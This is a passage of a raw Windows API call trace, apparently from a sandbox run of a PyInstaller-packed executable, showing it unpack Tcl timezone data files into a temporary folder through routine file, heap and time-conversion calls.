lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.872] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.872] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.872] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.872] CloseHandle (hObject=0x10c) returned 1 [0039.872] GetLastError () returned 0x0 [0039.872] SetLastError (dwErrCode=0x0) [0039.872] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.873] GetFileType (hFile=0x10c) returned 0x1 [0039.873] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.873] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.873] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.873] CloseHandle (hObject=0x10c) returned 1 [0039.873] GetLastError () returned 0x0 [0039.873] SetLastError (dwErrCode=0x0) [0039.873] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.873] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.873] GetFileType (hFile=0x10c) returned 0x1 [0039.873] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.873] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.873] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.873] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.873] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.874] CloseHandle (hObject=0x10c) returned 1 [0039.874] GetLastError () returned 0x0 [0039.874] SetLastError (dwErrCode=0x0) [0039.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Rothera") returned 75 [0039.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Rothera" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\rothera"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.874] GetLastError () returned 0x2 [0039.874] SetLastError (dwErrCode=0x2) [0039.874] GetLastError () returned 0x2 [0039.874] SetLastError (dwErrCode=0x2) [0039.874] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Rothera", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Rothera", lpFilePart=0x0) returned 0x4a [0039.874] GetLastError () returned 0x2 [0039.874] SetLastError (dwErrCode=0x2) [0039.874] GetLastError () returned 0x2 [0039.874] SetLastError (dwErrCode=0x2) [0039.874] GetLastError () returned 0x2 [0039.874] SetLastError (dwErrCode=0x2) [0039.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Rothera") returned 75 [0039.874] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.874] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\Rothera" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\rothera"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.874] GetFileType (hFile=0x10c) returned 0x1 [0039.874] htonl (hostlong=0x92000000) returned 0x92 [0039.874] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.874] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x92, lpOverlapped=0x0) returned 1 [0039.875] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.875] CloseHandle (hObject=0x10c) returned 1 [0039.876] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.876] htonl (hostlong=0x30000000) returned 0x30 [0039.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.876] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.876] GetFileType (hFile=0x10c) returned 0x1 [0039.876] htonl (hostlong=0x58a15a00) returned 0x5aa158 [0039.876] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f5158, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.876] htonl (hostlong=0x91000000) returned 0x91 [0039.876] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x91) returned 0x55cfe0 [0039.876] htonl (hostlong=0x91000000) returned 0x91 [0039.877] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.877] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.877] htonl (hostlong=0xc7000000) returned 0xc7 [0039.877] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc7) returned 0x550600 [0039.877] htonl (hostlong=0x91000000) returned 0x91 [0039.877] htonl (hostlong=0xc7000000) returned 0xc7 [0039.877] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.877] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.877] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.877] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.877] CloseHandle (hObject=0x10c) returned 1 [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] GetLastError () returned 0x0 [0039.877] SetLastError (dwErrCode=0x0) [0039.877] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.877] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.877] GetFileType (hFile=0x10c) returned 0x1 [0039.877] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.877] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.877] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.877] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.878] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.878] CloseHandle (hObject=0x10c) returned 1 [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.878] GetFileType (hFile=0x10c) returned 0x1 [0039.878] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.878] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.878] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.878] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.878] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.878] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.878] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.878] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.878] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.878] CloseHandle (hObject=0x10c) returned 1 [0039.878] GetLastError () returned 0x0 [0039.878] SetLastError (dwErrCode=0x0) [0039.878] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica") returned 67 [0039.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.878] GetFileType (hFile=0x10c) returned 0x1 [0039.879] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.879] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.879] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.879] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.879] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.879] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.879] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.879] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.879] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.879] CloseHandle (hObject=0x10c) returned 1 [0039.879] GetLastError () returned 0x0 [0039.879] SetLastError (dwErrCode=0x0) [0039.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\South_Pole") returned 78 [0039.879] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\South_Pole" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\south_pole"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.879] GetLastError () returned 0x2 [0039.879] SetLastError (dwErrCode=0x2) [0039.879] GetLastError () returned 0x2 [0039.879] SetLastError (dwErrCode=0x2) [0039.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\South_Pole", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\South_Pole", lpFilePart=0x0) returned 0x4d [0039.879] GetLastError () returned 0x2 [0039.879] SetLastError (dwErrCode=0x2) [0039.879] GetLastError () returned 0x2 [0039.879] SetLastError (dwErrCode=0x2) [0039.879] GetLastError () returned 0x2 [0039.879] SetLastError (dwErrCode=0x2) [0039.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\South_Pole") returned 78 [0039.879] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.879] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Antarctica\\South_Pole" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\antarctica\\south_pole"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.880] GetFileType (hFile=0x10c) returned 0x1 [0039.880] htonl (hostlong=0xc7000000) returned 0xc7 [0039.880] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.880] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc7, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc7, lpOverlapped=0x0) returned 1 [0039.881] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.881] CloseHandle (hObject=0x10c) returned 1 [0039.881] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.881] htonl (hostlong=0x40000000) returned 0x40 [0039.882] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.882] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.882] GetFileType (hFile=0x10c) returned 0x1 [0039.882] htonl (hostlong=0xe9a15a00) returned 0x5aa1e9 [0039.882] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f51e9, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.882] htonl (hostlong=0x89000000) returned 0x89 [0039.882] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x89) returned 0x55cfe0 [0039.882] htonl (hostlong=0x89000000) returned 0x89 [0039.882] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.882] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.882] htonl (hostlong=0x90000000) returned 0x90 [0039.882] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x90) returned 0x550600 [0039.882] htonl (hostlong=0x89000000) returned 0x89 [0039.882] htonl (hostlong=0x90000000) returned 0x90 [0039.882] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.882] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.882] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.882] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.882] CloseHandle (hObject=0x10c) returned 1 [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] GetLastError () returned 0x0 [0039.882] SetLastError (dwErrCode=0x0) [0039.882] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.883] GetFileType (hFile=0x10c) returned 0x1 [0039.883] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.883] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.883] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.883] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.883] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.883] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.883] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.883] CloseHandle (hObject=0x10c) returned 1 [0039.883] GetLastError () returned 0x0 [0039.883] SetLastError (dwErrCode=0x0) [0039.883] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.883] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), 